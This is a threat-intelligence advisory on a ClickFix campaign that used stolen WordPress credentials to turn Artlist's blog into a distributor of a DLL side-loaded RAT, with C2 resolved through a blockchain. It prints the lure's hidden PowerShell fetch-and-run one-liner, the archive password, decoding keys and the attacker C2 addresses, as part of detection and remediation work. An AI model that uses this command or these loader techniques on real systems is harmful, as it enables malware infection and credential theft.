Infostealer-Enabled ClickFix Campaign Compromises Artlist via EtherHiding C2 and DLL Side-Loaded RAT
Infostealer-Enabled ClickFix Campaign Compromises Artlist (TL-2026-1552), also tracked as Artlist ClickFix Campaign, is a high-severity malware campaign, first published 2026-07-19. It has no confirmed attribution, affects Artlist new-blog.artlist.io (WordPress corporate blog), maps to 32 MITRE ATT&CK techniques (T1005, T1008, T1027), and is covered by 9 detection rules and 27 indicators of compromise.
Key facts for TL-2026-1552
- Threat ID
- TL-2026-1552
- Also known as
- Artlist ClickFix Campaign, EtherHiding Native RAT Campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-07-19
- Last reviewed
- 2026-07-19
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- news - media, entertainment, technology, creative-services
- Target regions
- Global, israel
- Detection rules
- 9
- Indicators of compromise
- 27
Malware and tooling in Infostealer-Enabled ClickFix Campaign Compromises Artlist
Malware and tooling: Artlist ClickFix Native RAT, 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2
A 2023 infostealer infection on a freelance WordPress developer's machine, seeded by a pirated Adobe Acrobat Pro DC torrent, exfiltrated a senior Artlist content executive's credentials. In 2026 those credentials were used to log into new-blog.artlist[.]io's WordPress admin panel and inject a blockchain-resolved ClickFix fake-CAPTCHA lure that side-loads a full-featured RAT via a trojanized StruSoft/FEM-Design updater, with C2 rotated via a Polygon smart contract (EtherHiding) and a hardcoded Tor fallback.
How Infostealer-Enabled ClickFix Campaign Compromises Artlist works
In August 2023 an Israeli freelance WordPress full-stack developer downloaded a pirated copy of Adobe Acrobat Pro DC via a uTorrent torrent, executing a trojanized installer that deployed a generic infostealer on the developer's machine. The infostealer harvested saved browser passwords, cookies, and session tokens, among them credentials belonging to a six-year Artlist Senior Content Executive who had (likely inadvertently, through shared/reused workstation access or credential reuse) authenticated to Artlist's WordPress backend from that machine. Those credentials sat in infostealer-log marketplaces/C2 for roughly three years before being operationalized.
In July 2026, threat actors used the harvested credentials to log into `new-blog.artlist[.]io/blog/wp-login.php` with high-privilege access and injected obfuscated JavaScript (XOR key 0x50, then base64) into the blog's HTML templates. This Stage-0 loader queries a Polygon blockchain smart contract (`0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2`, function selector `0xb68d1809`) via RPC using a campaign-specific token (`fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a`) to dynamically resolve the current delivery host, an implementation of the EtherHiding technique previously documented against financially motivated (UNC5142) and DPRK-linked (UNC5342) actors abusing BNB Smart Chain — this campaign is the first Hudson Rock/derp.ca have documented on Polygon against a single high-traffic corporate blog rather than a mass WordPress-plugin sweep.
The resolved host, `auth-code-check[.]info`, serves a full-page Shadow-DOM overlay mimicking a reCAPTCHA verification ("ClickFix"), complete with a script guard (`window["_197515e445"]`) to block re-execution and blocked keyboard shortcuts/right-click to hinder inspection. The lure instructs the victim to press Windows+R/X, I, then Ctrl+V, Enter, pasting a hidden, window-hidden PowerShell one-liner (`powershell -w h "iex(irm 'auth-code-check[.]info/<ray>' -UseBasicParsing)"; exit`) into a Windows dialog. The command silently retrieves a password-protected archive `fdupdate.zip` (32,713,067 bytes, password `Arsen33`), stages a helper 7z.exe, and extracts `fdupdate.exe` — a legitimate, validly signed StruSoft FEM-Design structural-engineering updater binary.
`fdupdate.exe` DLL side-loads an unsigned, malicious `LibBind.dll` placed alongside it. LibBind.dll (entry `group_by_u`) reads and XOR-decodes (key 0xe5) an encrypted slice from `Stream.Toolkit.dat` at file offset 0x4c26a (length 0x533a3), manually resolves Windows APIs, and allocates executable memory. Rather than invoking code directly, the loader triggers shellcode execution via the `EnumTimeFormatsEx` enumeration-callback API, a technique that bypasses common userland hooks placed on standard thread-creation and execution APIs (CreateThread, NtCreateThreadEx, etc.). A companion module, `TBFVSS_DLL_SRV_64.dll` (`data_process`), allocates a further execution region. The decoded blob implements a custom virtual file system that parses `Face.dat` (custom storage key 0x1b51b9fd) to extract and decode a Delphi-compiled loader, `act.exe`, itself decrypted with AES-256-CBC using a key derived from an MD5 hash iteration (`36D6111FE68AE52A7B9E2095280EECAC`). act.exe decompresses an embedded ZIP into position-independent x64 shellcode and manually maps the final RAT payload (embedded PE at offset 0xc48, length 0x873c00 within the loader chain, final layer XOR-indexed with key `0x43 ^ (i & 0xff)`) — six distinct decoding/loading boundaries in total, described by the analyst as "Russian nesting dolls" of obfuscation.
The final payload is a full-featured, custom Remote Access Trojan communicating over a proprietary framed protocol: each transmission generates a fresh AES-256 session key wrapped with a 1024-bit RSA public key, commands dispatched through an encrypted WM_COPYDATA-style frame keyed by a selector at offset +0x18 (1=remote desktop/keyboard/mouse/clipboard, 2=filesystem operations, 3=resumable file transfer, 4=process inventory/termination/cmd.exe execution, 5=screen streaming/window control, 6=SOCKS4/5 bridging, 0x0b=full-desktop stream with global injection, 0x33=private/hidden-desktop remote control, 0x34=browser-store credential collection targeting Chromium Web Data/Login Data/token-service data and Firefox cookies.sqlite). The RAT recursively searches the filesystem for .bak/.db/.bin/.dat/.raw/.pak files, supports a hidden-desktop subsystem for isolated operator interaction, and carries (but has not been observed activating) a PFX certificate export capability. Persistence is established under the display name "FEM Update Model Manager" via an HKCU Run key (self-repaired every 125 seconds) and a Scheduled Task (self-repaired every 675 seconds), with startup-folder shortcuts as a further fallback. If the primary IP-based C2 fallbacks (four hardcoded IPv4 addresses on port 443) are unreachable, the RAT drops a Tor client module into memory and beacons to four hardcoded .onion addresses over a local SOCKS proxy, giving the operators a censorship/takedown-resistant fallback layer on top of the already highly resilient blockchain-resolved primary infrastructure.
Artlist's corporate blog subdomain reaches an estimated 11 million monthly visitors, making this a supply-chain-adjacent watering-hole compromise: a single infostealer infection on a third-party freelancer's personal machine, dormant for roughly three years, ultimately weaponized a trusted, high-traffic media/licensing-industry domain into a mass malware distribution point. No CVE governs this chain — the entire intrusion rides on stolen valid credentials, social engineering, and abuse of a legitimately signed third-party binary.
MITRE ATT&CK techniques used in TL-2026-1552
Collection
T1005 Data from Local System; T1056.001 Keylogging; T1113 Screen Capture
Command and Control
T1008 Fallback Channels; T1071.001 Web Protocols; T1090.003 Multi-hop Proxy; T1102.002 Bidirectional Communication; T1573.002 Asymmetric Cryptography
Defense Evasion
T1027 Obfuscated Files or Information; T1027.007 Dynamic API Resolution; T1036.005 Match Legitimate Resource Name or Location; T1140 Deobfuscate/Decode Files or Information; T1218 System Binary Proxy Execution; T1497 Virtualization/Sandbox Evasion; T1564.003 Hidden Window
Exfiltration
T1041 Exfiltration Over C2 Channel
Persistence
T1053.005 Scheduled Task; T1547.001 Registry Run Keys / Startup Folder
Discovery
T1057 Process Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery
Execution
T1059.001 PowerShell; T1129 Shared Modules; T1204.002 Malicious File; T1204.004 Malicious Copy and Paste
Initial Access
T1078 Valid Accounts; T1189 Drive-by Compromise
Credential Access
T1539 Steal Web Session Cookie; T1555.003 Credentials from Web Browsers
stealth
Resource Development
Affected products and versions in Infostealer-Enabled ClickFix Campaign Compromises Artlist
- Artlist — new-blog.artlist.io (WordPress corporate blog)
Vulnerable versions: all versions prior to remediation
Fixed in: credential rotation + template cleanup - StruSoft — FEM-Design Updater (fdupdate.exe)
Vulnerable versions: signed release abused for DLL side-loading; no vulnerability in StruSoft's own code confirmed
Fixed in: N/A - Adobe — Acrobat Pro DC (pirated distribution)
Vulnerable versions: trojanized torrent distributions
Fixed in: N/A — use only vendor-sourced installers - Microsoft — Windows (PowerShell / Windows Terminal)
Vulnerable versions: all Windows versions supporting Windows+R/X shortcuts and PowerShell
Fixed in: N/A — behavioral/social-engineering mitigation only
Remediation for Infostealer-Enabled ClickFix Campaign Compromises Artlist
Immediate actions
- Block network egress to the identified IPv4 C2s (45.151.74.119:443, 109.172.95.184:443, 151.236.4.135:443, 62.60.156.11:443) and the delivery domain auth-code-check[.]info
- Block/alert on Tor exit-node and known .onion C2 traffic from corporate endpoints; restrict outbound Tor SOCKS usage
- Force credential resets and session/cookie invalidation for all WordPress administrator accounts on new-blog.artlist[.]io and any related corporate blog properties
- Remove the injected malicious JavaScript from affected WordPress templates/theme files and audit all template/plugin files for unauthorized modifications
- Hunt for and quarantine fdupdate.exe, LibBind.dll, TBFVSS_DLL_SRV_64.dll, Stream.Toolkit.dat, Face.dat, and act.exe on endpoints; hash-match against provided SHA-256 IOCs
- Remove the HKCU Run key and Scheduled Task entries titled 'FEM Update Model Manager' and any startup-folder shortcuts referencing fdupdate/LibBind
Workarounds
- Restrict WordPress wp-login.php access to a VPN/IP allowlist or place it behind an authentication proxy to reduce exposure of stolen-credential logins
- Disable or tightly restrict PowerShell execution from Windows Run/Terminal shortcuts for standard users via Group Policy / AppLocker / WDAC, mitigating the ClickFix paste-to-execute vector
- Block execution of fdupdate.exe and other unexpected third-party updater binaries outside of managed software-deployment channels via application allowlisting
Longer-term hardening
- Enforce MFA on all WordPress/CMS administrative accounts and corporate SSO, independent of password strength, to blunt infostealer-harvested credential reuse
- Deploy EDR with behavioral detection for indirect shellcode execution via enumeration-callback APIs (EnumTimeFormatsEx and similar) and for unsigned DLLs loaded by signed third-party binaries
- Monitor for and alert on outbound Web3/RPC calls (Polygon, BNB Smart Chain, Ethereum) originating from corporate web properties or endpoint browsers, a growing EtherHiding/dead-drop-resolver pattern
- Establish a vendor/freelancer credential-hygiene policy: contractors with CMS admin access should not use personal/unmanaged machines, and access should be scoped, time-limited, and monitored
- Integrate infostealer-log threat-intel feeds (e.g., Hudson Rock Cavalier or equivalent) to proactively detect when employee/contractor credentials appear in stealer logs before they are operationalized
Weaknesses (CWE) in Infostealer-Enabled ClickFix Campaign Compromises Artlist
CWE-287, CWE-494, CWE-506, CWE-522
Timeline of Infostealer-Enabled ClickFix Campaign Compromises Artlist
- Israeli freelance WordPress developer downloads a pirated Adobe Acrobat Pro DC torrent, executing a trojanized installer that deploys a generic infostealer on the developer's personal machine.
- Infostealer harvests and exfiltrates saved browser passwords, cookies, and session tokens from the developer's machine, including credentials belonging to a six-year Artlist Senior Content Executive.
- Contemporaneous EtherHiding activity by financially motivated cluster UNC5142 (BNB Smart Chain, VIDAR/ATOMIC/LUMMAC.V2/RADTHIEF) documented by GTIG/Mandiant, establishing the technique family this campaign later reuses on Polygon.
- Threat actors use the years-old harvested Artlist executive credentials to authenticate to new-blog.artlist[.]io/blog/wp-login.php with high-privilege WordPress access.
- Attackers inject obfuscated (XOR 0x50 + base64) Stage-0 JavaScript into the Artlist blog's HTML templates, establishing the EtherHiding loader that queries the Polygon smart contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2.
- ClickFix fake-CAPTCHA campaign on new-blog.artlist[.]io first observed live by researchers, resolving to delivery domain auth-code-check[.]info via the Polygon smart contract.
- Hudson Rock publishes infostealers.com writeup on the credential-to-compromise chain; independent researcher publishes derp.ca technical reverse-engineering deep dive of the loader chain and RAT.
- TL-Intel Harness RESEARCH phase completes evidence-driven analysis and MITRE/IOC extraction for TL-2026-1552.
Sources cited for Infostealer-Enabled ClickFix Campaign Compromises Artlist
- How an Infostealer Infection Led to a Sophisticated ClickFix Campaign at Artlist
- Artlist ClickFix Native RAT — Technical Reverse-Engineering Deep Dive
- New Group on the Block: UNC5142 Leverages EtherHiding to Distribute Malware
- DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains
- North Korean Hackers Use EtherHiding to Hide Malware Inside Blockchain Smart Contracts
- The Unkillable C2: How Attackers Are Moving Command and Control to the Blockchain
- Uncovering EtherHiding: Malware Hidden in Blockchain
Threats related to Infostealer-Enabled ClickFix Campaign Compromises Artlist
- Backdoor.Mistic (MLTBackdoor) — In-Memory BOF-Capable Backdoor Deployed by Woodgnat/KongTuke IAB Alongside ModeloRAT
- StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads
- ChonkyChicken RAT (TAG-195/Golden Chickens) Bypasses Chrome App-Bound Encryption via ChromEggscalator to Steal Browser Credentials
- Sophos X-Ops: Attackers Impersonate Claude, ChatGPT, Copilot and Perplexity to Distribute Infostealers, Backdoors and Malicious Browser Extensions
- ACR Stealer (Amatera Stealer) Uses ClickFix Lures, WebDAV/pushd DLL Delivery, and EtherHiding to Harvest Browser and Microsoft 365 Data
- Fake Google/Cloudflare Verification Pages Spread Multiple Malware Families via ClickFix (HijackLoader, StealC, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, ResiLoader)
Detection coverage for TL-2026-1552
As of 2026-07-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1552 across Splunk SPL, Microsoft KQL and Sigma, covering 27 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.